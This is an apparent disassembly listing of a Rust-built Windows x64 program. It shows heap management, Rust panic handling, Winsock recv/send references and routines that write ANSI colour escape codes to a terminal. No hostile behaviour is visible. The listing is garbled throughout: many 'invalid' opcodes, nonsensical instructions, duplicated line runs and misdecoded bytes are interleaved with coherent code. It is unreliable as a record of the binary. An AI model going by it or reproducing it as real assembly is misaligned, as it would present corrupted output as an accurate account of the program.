or byte [r9 - 0x39], r8b
cmp byte [r9], r8b
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
or byte [r9 - 0x39], r8b
cmp byte [r9], r8b
add byte [rax], al
add byte [rcx - 0x7d], cl
jge 0x14002c513
cmp qword [r13 + 0x10], 0
mov qword [rbp + 0x80], r13
jne 0x14002c80d
invalid
add byte [rcx + rcx*4 - 0x53], cl
add byte [rax], 0
add byte [rdi], cl
test esp, edi
add al, byte [rax]
add byte [rcx - 0x73], cl
lea rax, [r13 + 0x10]
mov qword [rbp + 0x78], rax
mov qword [r13 + 0x10], 0xffffffffffffffff
adc byte [r8 - 0x77], r9b
js 0x14002c563
mov dword [rbp + 0x10], 0xffffffff
lea rdx, [r13 + 0x18]
mov rcx, rbx
mov r8, r15
mov r9, r14
call fcn.140138110
mov rcx, qword [rbp + 0x80]
inc qword [rcx + 0x10]
dec dword [rcx + 0x38]
je 0x14002c570
mov byte [rbp + 0x18], 0
cmp qword [rbp + 0x90], 0
je case.default.0x14002c566
mov r14, qword [rbp + 0x98]
mov r15d, r14d
and r15d, 3
movsxd rax, dword [r12 + r15*4]
add rax, r12
jmp rax
movzx eax, byte [r14 + 0x10]
jmp 0x14002c5b0
mov qword [rcx + 8], 0
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov byte [rbp + 0x18], 0
cmp qword [rbp + 0x90], 0
jne 0x14002c551
mov rax, qword [rbp + 0x98]
test rax, rax
test eax, eax
je 0x14002c65a
add rdi, rax
jmp 0x14002c470
cmp al, 0x23
jne 0x14002c661
cmp r15d, 1
jne 0x14002c470
jmp 0x14002c5cf
mov r15, qword [r14 - 1]
mov r13, qword [r14 + 7]
mov rcx, r15
call qword [r13]
cmp qword [r13 + 8], 0
je 0x14002c602
invalid
cmp qword [r13 + 0x10], 0x11
jb 0x14002c5f0
mov r15, qword [r15 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r14
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14002c470
push rsp
invalid
invalid
invalid
test rdi, rdi
je 0x14002c6e9
test ah, al
add byte [rax], al
invalid
mov rbx, rdx
sub rbx, rdi
jb 0x14002c8b3
mov qword [rbp + 0x10], 0
je 0x14002c6e9
mov rcx, qword [rbp]
add rdi, rcx
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x10], rbx
adc cl, ch
pop qword [rax]
add byte [rax], al
lea r14, str.failed_to_write_the_buffered_data
test rdi, rdi
je 0x14002c696
mov rdx, qword [rbp + 0x10]
mov rbx, rdx
sub rbx, rdi
jb 0x14002c8b3
mov qword [rbp + 0x10], 0
je 0x14002c696
mov rcx, qword [rbp]
add rdi, rcx
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x10], rbx
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x14002c6e9
lea rdi, [r14 - 1]
mov rbx, qword [r14 - 1]
mov r14, qword [r14 + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14002c6d7
cmp qword [r14 + 0x10], 0x11
jb 0x14002c6c5
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 8], 0
or byte [rax], al
je 0x14002c703
mov r8, qword [rbp]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbp + 0x30]
test r8, r8
je 0x14002c722
cmp qword [rbp + 0x38], 0
je 0x14002c722
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, rsi
movaps xmm6, xmmword [rbp + 0xd0]
add rsp, 0x168
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140138890
mov rsi, rax
test rax, rax
jne 0x14002c0be
jmp 0x14002c116
call fcn.1401666c0
mov ebx, eax
xor bl, 1
movzx eax, byte [rbp - 0x18]
test al, al
je 0x14002bdf9
mov qword [rbp - 0x38], rsi
mov byte [rbp - 0x30], bl
lea rax, [0x1401dde78]
sbb eax, dword [rax]
sbb eax, dword [rax]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401ddd50]
lea r8, [rbp - 0x38]
mov edx, 0x2b
call fcn.140161200
ud2
call fcn.1401666c0
test al, al
jne 0x14002c0d5
mov byte [rbp - 0x18], 1
jmp 0x14002c0d5
call fcn.1401666c0
test al, al
jne 0x14002c12d
mov byte [rbp - 0x18], 1
jmp 0x14002c12d
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
lea r8, [0x1401dbd38]
mov edx, 0x26
call fcn.140161290
ud2
lea rax, str.library_std_srcio_stdio.rs
mov qword [rsp + 0x20], rax
lea rcx, str.already_borrowed8
lea r9, [0x1401dadd0]
or eax, 0x1ae5d3
or eax, 0x1ae5d3
lea r8, [rbp - 0x38]
mov edx, reloc.WS2_32.dll_recv
call fcn.140161200
jmp 0x14002c835
lea rax, str.library_std_srcio_stdio.rs
mov qword [rsp + 0x20], rax
lea rcx, str.already_borrowed8
lea r9, [0x1401dadd0]
lea r8, [rbp - 0x38]
mov edx, reloc.WS2_32.dll_recv
call fcn.140161200
ud2
lea r8, [0x1401dde90]
mov rcx, rdx
mov rdx, r12
call fcn.140161190
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
invalid
lea r8, [0x1401dde90]
mov rcx, r12
mov rdx, r13
call fcn.140160f40
ud2
cld
test al, 0x13
add byte [rdi], cl
or ecx, dword [rax - 0x73]
add eax, 0x1aee7b
lea rax, str.library_std_srcio_stdio.rs
jmp 0x14002c876
lea rax, str.library_std_srcio_stdio.rs
mov qword [rsp + 0x20], rax
lea rcx, str.already_borrowed8
lea r9, [0x1401dadd0]
or eax, 0x1ae547
or eax, 0x1ae547
lea r8, [rbp - 0x38]
mov edx, reloc.WS2_32.dll_recv
call fcn.140161200
ud2
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
out 0xe5, al
sbb al, byte [rax]
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
mov rcx, rdi
call fcn.140160f40
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, [0x1401ddea8]
mov edx, 0x28
call fcn.140160fb0
ud2
xor r12d, r12d
mov r14b, 1
mov r13b, 1
xor esi, esi
xor r15d, r15d
mov rax, qword [rbp + 0x90]
test rax, rax
je 0x14002c960
cmp rax, 1
jne 0x14002c980
mov rax, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
sub rax, rdx
cmp rax, 3
jbe 0x14002cc26
mov rdi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x98]
mov dword [rax + rdx], 0x6d305b1b
add rdx, 4
mov qword [rbp + 0xa8], rdx
test r13b, r13b
je 0x14002ca2f
test r14b, r14b
je 0x14002ca6c
test r15b, r15b
je 0x14002caa5
jmp 0x14002caba
mov rdi, qword [rbp + 0x78]
mov r14, qword [rdi + rbx + 0x10]
test r14, r14
jne 0x14002cacb
jmp 0x14002cb18
test r15b, r15b
jne 0x14002c998
lea rcx, [rbp + 0x67]
movzx eax, byte [rcx + 3]
mov byte [rbp - 0x36], al
movzx eax, word [rcx + 1]
mov word [rbp - 0x38], ax
movzx eax, byte [rbp - 0x36]
mov byte [rbp + 0x5e], al
movzx eax, word [rbp - 0x38]
mov word [rbp + 0x5c], ax
mov r14, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xc0]
cmp rdx, qword [rbp + 0xb8]
jne 0x14002c9d1
lea rcx, [rbp + 0xb0]
call fcn.14004ef00
mov rdx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xb0]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], r14
mov byte [rax + rcx*8 + 8], sil
mov word [rax + rcx*8 + 9], 0
or dword [rax], eax
add byte [rax + rcx*4 + 0x64], al
enter 0x660b, 0xffffffffffffffc7
enter recv, 1
mov byte [rax + rcx*8 + 0xe], 0
mov byte [rax + rcx*8 + 0xf], dil
movzx r8d, word [rbp + 0x5c]
pop rsp
mov word [rax + rcx*8 + 0x10], r8w
movzx r8d, byte [rbp + 0x5e]
mov byte [rax + rcx*8 + 0x12], r8b
mov byte [rax + rcx*8 + 0x13], 0xb
inc rdx
inc edx
mov qword [rbp + 0xc0], rdx
mov rdi, qword [rbp + 0x78]
jmp 0x14002caba
add byte [rax], al
invalid
mov rax, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
sub rax, rdx
cmp rax, 3
jbe 0x14002cc62
mov rax, qword [rbp + 0x98]
mov dword [rax + rdx], 0x6d315b1b
add rdx, 4
mov qword [rbp + 0xa8], rdx
test r14b, r14b
jne 0x14002c94c
mov rax, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
sub rax, rdx
cmp rax, 3
jbe 0x14002cc80
mov rax, qword [rbp + 0x98]
mov dword [rax + rdx], 0x6d325b1b
add rdx, 4
mov qword [rbp + 0xa8], rdx
test r15b, r15b
jne 0x14002caba
lea rcx, [rbp + 0x98]
mov dl, 1
lea r8, [rbp + 0x67]
xor r9d, r9d
call fcn.14002d030
mov rax, qword [rbp + 0x90]
mov r14, qword [rdi + rbx + 0x10]
test r14, r14
je 0x14002cb18
mov r15, qword [rdi + rbx]
test rax, rax
je 0x14002cad8
cmp rax, 1
mov rax, qword [rbp + 0xa0]
mov r12, qword [rbp + 0xa8]
sub rax, r12
cmp rax, r14
jb 0x14002cc08
mov rcx, qword [rbp + 0x98]
add rcx, r12
mov rdx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r12, r14
mov qword [rbp + 0xa8], r12
mov rax, qword [rbp + 0x90]
test rax, rax
je 0x14002cb57
cmp rax, 1
jne 0x14002cb70
mov rax, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
sub rax, rdx
cmp rax, 3
jbe 0x14002cc44
mov rax, qword [rbp + 0x98]
mov dword [rax + rdx], 0x6d305b1b
cwde
add byte [rax], al
add bh, al
add al, 0x10
sbb ebx, dword [rbx + 0x30]
insd dword [rdi], dx
add rdx, 4
mov qword [rbp + 0xa8], rdx
add rbx, 0x20
cmp qword [rbp + 0x80], rbx
jne 0x14002cbc9
jmp 0x14002bc08
mov rsi, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xc0]
cmp rdx, qword [rbp + 0xb8]
jne 0x14002cb9a
lea rcx, [rbp + 0xb0]
call fcn.14004ef00
mov rdx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xb0]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], rsi
mov byte [rax + rcx*8 + 8], 2
inc rdx
mov qword [rbp + 0xc0], rdx
add rbx, 0x20
cmp qword [rbp + 0x80], rbx
je 0x14002bc08
mov byte [rbp + 0x67], 0xb
mov byte [rbp + 0x6b], 0xb
mov dword [rbp + 0x60], 0
mov byte [rbp + 0x64], 0
mov word [rbp + 0x65], 1
movzx eax, byte [rdi + rbx + 0x18]
xor r12d, r12d
lea rcx, [0x1402082a8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r14b, 1
mov r13b, 1
xor esi, esi
mov r15b, 1
mov dil, 0xb
jmp rax
lea rcx, [rbp + 0x98]
mov rdx, r12
mov r8, r14
call fcn.14015cc80
mov r12, qword [rbp + 0xa8]
jmp 0x14002caf2
lea rcx, [rbp + 0x98]
mov r8d, 4
call fcn.14015cc80
adc eax, dword [rax]
adc eax, dword [rax]
mov rdx, qword [rbp + 0xa8]
jmp 0x14002c91d
lea rcx, [rbp + 0x98]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
call fcn.14015cc80
mov rdx, qword [rbp + 0xa8]
add cl, ch
fdiv st(6), st(0)
invalid
invalid
add cl, ch
fdiv st(6), st(0)
invalid
lea rcx, [rbp + 0x98]
mov r8d, 4
call fcn.14015cc80
mov rdx, qword [rbp + 0xa8]
jmp 0x14002ca4a
lea rcx, [rbp + 0x98]
mov r8d, 4
call fcn.14015cc80
mov rdx, qword [rbp + 0xa8]
jmp 0x14002ca87
mov byte [rbp + 0x63], 1
mov r12b, 1
xor r14d, r14d
mov r13b, 1
xor esi, esi
mov r15b, 1
jmp case.0x14002cc06.4
mov dword [rbp + 0x67], 6
mov dil, 6
jmp 0x14002c8de
mov dword [rbp + 0x67], 3
mov byte [rbp + 0x60], 1
mov dil, 3
mov r14b, 1
xor r12d, r12d
xor r13d, r13d
mov sil, 1
xor r15d, r15d
jmp case.0x14002cc06.4
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
mov rcx, qword [rbp + 0x80]
call fcn.14012e730
and bl, byte [rcx]
adc byte [rax], al
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
movdqa xmmword [rsp + 0x20], xmm6
mov rcx, qword [rbp + 0x80]
call fcn.1401389b0
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
je 0x14002ce75
and byte [rax - 0x75], cl
lea eax, [rax - 0x18000000]
push rdx
mov ebx, 0x280f0010
je 0x14002ce86
and byte [rax - 0x7d], cl
invalid
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
int3
int3
push rbx
sub rsp, 0x40
mov rdx, rcx
lea rdi, [rsp + 0x20]
mov rcx, rdi
call fcn.140029fb0
adc eax, 0xfffffd1
mov dh, 0x5c
and al, 0x39
cmp bl, 2
mov rsi, qword [rsp + 0x20]
cmove rdi, rsi
mov rcx, rdi
call fcn.14002b3f0
mov rdi, rax
cmp bl, 2
je 0x14002cf1b
mov rbx, qword [rsp + 0x30]
test rbx, rbx
je 0x14002cf01
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14002cee9
add r14, 0x20
dec rbx
je 0x14002cf01
cmp qword [r14], 0
je 0x14002cee0
add byte ds:[rcx + rsi*8 + 0x4d], dh
mov eax, dword [rsi - 8]
mov r8, qword [r14 - 8]
mov rcx, qword [0x140215360]
test byte [rsi], bl
add byte [rcx], dh
xor edx, edx
call r15
xor edx, edx
call r15
jmp 0x14002cee0
cmp qword [rsp + 0x28], 0
je 0x14002cf1b
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, rdi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, edi
call qword [rbx]
cmp qword [rbx + 8], 0
cmp dword [rbx + 8], 0
adc ecx, dword [rax - 0x7d]
jnp 0x14002cf63
add byte [rbp + rbx + 0x48], dh
cmp dword [rbx + 0x10], 0x11
invalid
je 0x14002cf7b
cmp qword [rbx + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x14002cf69
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
xchg ebx, eax
mov al, reloc.WS2_32.dll_send
invalid
xchg ebx, eax
mov al, reloc.WS2_32.dll_send
add byte [rax + 0x20c48348], dl
pop rbx
pop rdi
pop rsi
ret
call fcn.140138080
mov al, reloc.WS2_32.dll_recv
add byte [rax - 0x77], cl
mov rdi, rax
mov rdi, rax
mov rcx, rax
call fcn.140138890
mov rcx, rax
call fcn.14002cf30
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call fcn.14002d010
lea rax, [0x1402152e0]
sti
invalid
invalid
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, [rsp + 0x20]
call fcn.140138920
mov rdi, rax
mov rcx, rax
call fcn.140138d60
mov rcx, rdi
call fcn.1401389b0
test eax, 0x890010b9
int1
test eax, 0x890010b9
int1
call fcn.14013ab80
ud2
jmp qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
int3
test cl, cl
je 0x14002d082
lea rcx, [0x1402083a8]
movsxd rax, dword [rcx + rax*4]
invalid
or dword [rax + 1], 0x84e0ffc8
ror byte [rdi], cl
test al, cl
add al, 0
add byte [rax - 0x75], cl
or byte [rax - 0x75], r9b
push rsi
adc byte [rax + 0x29], cl
ror byte [rax - 0x7d], 1
clc
or byte [rdi], cl
add rax, rcx
jmp rax
test dl, dl
je 0x14002d523
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 8
jbe 0x14002da86
xchg byte [rsi], dl
or al, byte [rax]
add byte [rax], al
xchg byte [rsi], dl
or al, byte [rax]
add byte [rax], al
mov rax, qword [rsi]
add byte [rax], al
mov rax, qword [rsi]
movabs rcx, 0x383b353b38335b1b
mov ecx, 0x38335b1b
cmp esi, dword [0x1bfec08ba]
invalid
add byte [rax], al
cmp cl, ch
jg case.default.0x14002d090
add byte [rax], al
lea rcx, [0x14020837c]
mov dl, 0x1d
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
test dl, dl
je 0x14002d54a
add al, 0
invalid
add al, 0
add byte [rax - 0x75], cl
or byte [rax - 0x75], r9b
or byte [rax - 0x75], cl
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
or byte [rax - 0x75], cl
push rsi
adc byte [rax + 0x29], cl
ror byte [rax - 0x7d], 1
invalid
invalid
clc
cmp rax, 4
jbe 0x14002da9d
add al, 0xf
xchg dh, ch
or dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x30335b1b
jmp 0x14002d7fc
movzx r8d, byte [r8 + 1]
imul eax, r8d, 0xcd
add byte [rax], al
add cl, al
call 0xc00f5de0
add byte [rax], al
add cl, al
call 0xc00f5de0
lea ecx, [rcx + rcx*4]
or al, 0x89
mov dword [rcx], eax
add ecx, eax
shr ecx, 7
and ecx, 6
lea r9d, [rcx + rcx*4]
mov ecx, eax
sub cl, r9b
add eax, eax
lea r9d, [rax + rax*4]
mov eax, r8d
sub al, r9b
test dl, dl
je 0x14002d476
add byte [rax], al
rol ecx, 0xe9
invalid
add byte [rax], al
mov dword [rsp + 0x3b], 0
mov qword [rsp + 0x33], 0
and al, 0x33
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x2c], 0x38335b1b
pop rbx
xor edi, dword [rax]
mov dword [rsp + 0x2f], 0x3b353b38
cmp r8b, 0x63
ja 0x14002d4a1
mov edi, 7
test cl, cl
jne 0x14002d4bc
invalid
add byte [rax], al
add byte [rcx + rcx*8 + 0x387850f], al
add byte [rax], al
invalid
add byte [rdi + 6], bh
mov edi, 6
add cl, ch
test byte [rbx], al
add byte [rax], al
jmp 0x14002d4c3
movzx r10d, byte [r8 + 1]
movzx ecx, byte [r8 + 2]
movzx eax, byte [r8 + 3]
imul r8d, r10d, 0xcd
shr r8d, 0xb
lea r9d, [r8 + r8*4]
lea r9d, [r9 + r9*4]
add r9d, r8d
rol dword [rcx - 0x3f], 0xe9
invalid
and r9d, 6
loope 0x14002d172
rol dword [rcx - 0x3f], 0xe9
invalid
loope 0x14002d172
lea r11d, [r9 + r9*4]
mov r9d, r8d
sub r9b, r11b
rol dword [rbp + 0x28], 0xd9
add r8d, r8d
lea r11d, [r8 + r8*4]
mov r8d, r10d
sub r8b, r11b
test dl, dl
je 0x14002d4d8
add eax, dword [rax]
invalid
add eax, dword [rax]
add bh, al
and al, 0x3b
add byte [rax], al
add byte [rax], al
invalid
mov dword [rsp + 0x3b], 0
add byte [rax - 0x39], cl
and al, 0x33
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x33], 0
add bh, al
and al, 0x2c
sbb ebx, dword [rbx + 0x33]
cmp bh, al
and al, 0x2f
cmp byte [rbx], bh
mov dword [rsp + 0x2c], 0x38335b1b
mov dword [rsp + 0x2f], 0x3b323b38
xor bh, byte [rbx]
xor bh, byte [rbx]
cmp r10b, 0x63
jbe 0x14002d80c
movzx edx, r10b
lea r10d, [rdx + rdx*4]
lea edx, [rdx + r10*8]
rol cl, cl
invalid
or al, 0x80
retf 0x8830
push rsp
and al, 0x33
rol cl, cl
invalid
mov edi, 8
jmp 0x14002d81a
test dl, dl
je 0x14002d573
invalid
xchg ebp, eax
add eax, dword [rax]
invalid
test byte [rbp + 0x48000003], dl
mov eax, dword [rsi + 8]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
mov edx, dword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002dab4
or byte [rax], al
invalid
or byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
movabs rcx, 0x313b353b38335b1b
xor eax, 0x90e9313b
add eax, dword [rax]
invalid
xor eax, 0x90e9313b
add eax, dword [rax]
add byte [rdx + rdx*8 + 0x39c840f], al
test dl, dl
je 0x14002d5a9
invalid
pushfq
add eax, dword [rax]
invalid
test dl, dl
je 0x14002d5a9
invalid
pushfq
add eax, dword [rax]
invalid
test byte [rbx + rax - 0x74b80000], bl
or byte [rax - 0x75], r9b
push rsi
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
adc byte [rax + 0x29], cl
ror byte [rax - 0x7d], 1
clc
or dword [rdi], ecx
invalid
invalid
or byte [rax], al
invalid
adc byte [rax + 0x29], cl
ror byte [rax - 0x7d], 1
clc
or dword [rdi], ecx
xchg byte [rcx + 0x48000008], ch
mov eax, dword [rsi]
mov rax, qword [rsi]
movabs rcx, 0x313b353b38335b1b
jmp 0x14002d5cb
test dl, dl
je 0x14002d5df
invalid
invalid
add eax, dword [rax]
invalid
test byte [rbx + 0x48000003], ah
mov eax, dword [rsi + 8]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
sub eax, edx
sub eax, edx
cmp rax, 8
jbe 0x14002dae2
mov rax, qword [rsi]
movabs rcx, 0x393b353b38335b1b
jmp 0x14002d601
test dl, dl
je 0x14002d613
invalid
test al, 3
add byte [rax], al
test byte [rax + 0x48000003], ch
mov eax, dword [rsi + 8]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002daf9
jns 0x14002d286
add byte [rax], al
jns 0x14002d286
add byte [rax], al
mov rax, qword [rsi]
movabs rcx, 0x313b353b38335b1b
jmp 0x14002d635
pop rbx
xor edi, dword [rax]
cmp esi, dword [0xe3ec03ca]
add eax, dword [rax]
add byte [rdx + rdx*8 + 0x3af840f], al
test dl, dl
je 0x14002d649
invalid
scasd eax, dword [rdi]
add eax, dword [rax]
invalid
test dl, dl
je 0x14002d649
invalid
scasd eax, dword [rdi]
add eax, dword [rax]
invalid
test byte [rdi + 0x48000003], ch
mov eax, dword [rsi + 8]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
clc
or dword [rdi], ecx
xchg byte [rcx + 8], ah
add byte [rax], al
clc
or dword [rdi], ecx
xchg byte [rcx + 8], ah
add byte [rax], al
mov rax, qword [rsi]
movabs rcx, 0x313b353b38335b1b
jmp 0x14002d66b
test dl, dl
je 0x14002d67f
invalid
mov dh, 3
add byte [rax], al
test byte [rsi + 0x48000003], dh
mov eax, dword [rsi + 8]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002db27
mov rax, qword [rsi]
movabs rcx, 0x313b353b38335b1b
jmp 0x14002d6a1
test dl, dl
je 0x14002d6b5
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002db3e
xor dword [rax], ecx
add byte [rax], al
xor dword [rax], ecx
add byte [rax], al
mov rax, qword [rsi]
movabs rcx, 0x313b353b38335b1b
jmp 0x14002d6d7
invalid
test dl, dl
je 0x14002d6eb
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002db55
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
adc byte [rbp*2 + 0x1b1004c7], r8b
pop rbx
xor esi, dword [rcx + rbp*8]
lodsb al, byte [rsi]
add al, 0
invalid
adc byte [rbp*2 + 0x1b1004c7], r8b
pop rbx
xor esi, dword [rcx + rbp*8]
lodsb al, byte [rsi]
add al, 0
add byte [rdx + rdx*8 + 0x3bc840f], al
test dl, dl
je 0x14002d714
test dl, dl
je 0x14002d714
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002db6c
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
adc byte [rbp*2 + 0x1b1004c7], r8b
pop rbx
xor esi, dword [rdx]
adc byte [rbp*2 + 0x1b1004c7], r8b
pop rbx
xor esi, dword [rdx]
jmp 0x14002d7fc
test dl, dl
je 0x14002d73d
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002db83
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x31335b1b
jmp 0x14002d7fc
test dl, dl
je 0x14002d766
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002db9a
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x36335b1b
jmp 0x14002d7fc
test dl, dl
je 0x14002d78c
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dbb1
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x35335b1b
jmp 0x14002d7fc
test dl, dl
je 0x14002d7b2
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dbc8
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x33335b1b
jmp 0x14002d7fc
test dl, dl
je 0x14002d7d8
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dbdf
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x37335b1b
jmp 0x14002d7fc
mov dword [rsp + 0x3b], 0
mov qword [rsp + 0x33], 0
mov dword [rsp + 0x2c], 0x38345b1b
mov dword [rsp + 0x2f], 0x3b353b38
cmp r8b, 0x63
jbe 0x14002d128
movzx edx, r8b
lea r8d, [rdx + rdx*4]
lea edx, [rdx + r8*8]
shr edx, 0xc
or dl, 0x30
mov byte [rsp + 0x33], dl
mov edi, 8
or cl, 0x30
mov byte [rsp + rdi + 0x2c], cl
or al, 0x30
lea rcx, [rsp + 0x2c]
mov byte [rdi + rcx + 1], al
mov byte [rdi + rcx + 2], WSAGetLastError
jmp 0x14002da2b
mov dword [rsp + 0x3b], 0
mov qword [rsp + 0x33], 0
mov dword [rsp + 0x2c], 0x38345b1b
mov dword [rsp + 0x2f], 0x3b323b38
cmp r10b, 0x63
jbe 0x14002d91b
movzx edx, r10b
lea r10d, [rdx + rdx*4]
lea edx, [rdx + r10*8]
shr edx, 0xc
or dl, 0x30
mov byte [rsp + 0x33], dl
mov edi, 8
jmp 0x14002d929
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 8
jbe 0x14002dbf6
mov rax, qword [rsi]
movabs rcx, 0x383b353b38345b1b
jmp 0x14002d601
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dc0d
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x30345b1b
jmp 0x14002d7fc
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002dc24
mov rax, qword [rsi]
movabs rcx, 0x313b353b38345b1b
mov qword [rax + rdx], rcx
mov word [rax + rdx + 8], 0x6d32
add rdx, 0xa
jmp 0x14002d800
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002dc3b
mov rax, qword [rsi]
movabs rcx, 0x313b353b38345b1b
mov qword [rax + rdx], rcx
mov word [rax + rdx + 8], 0x6d30
add rdx, 0xa
jmp 0x14002d800
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 8
jbe 0x14002dc52
mov rax, qword [rsi]
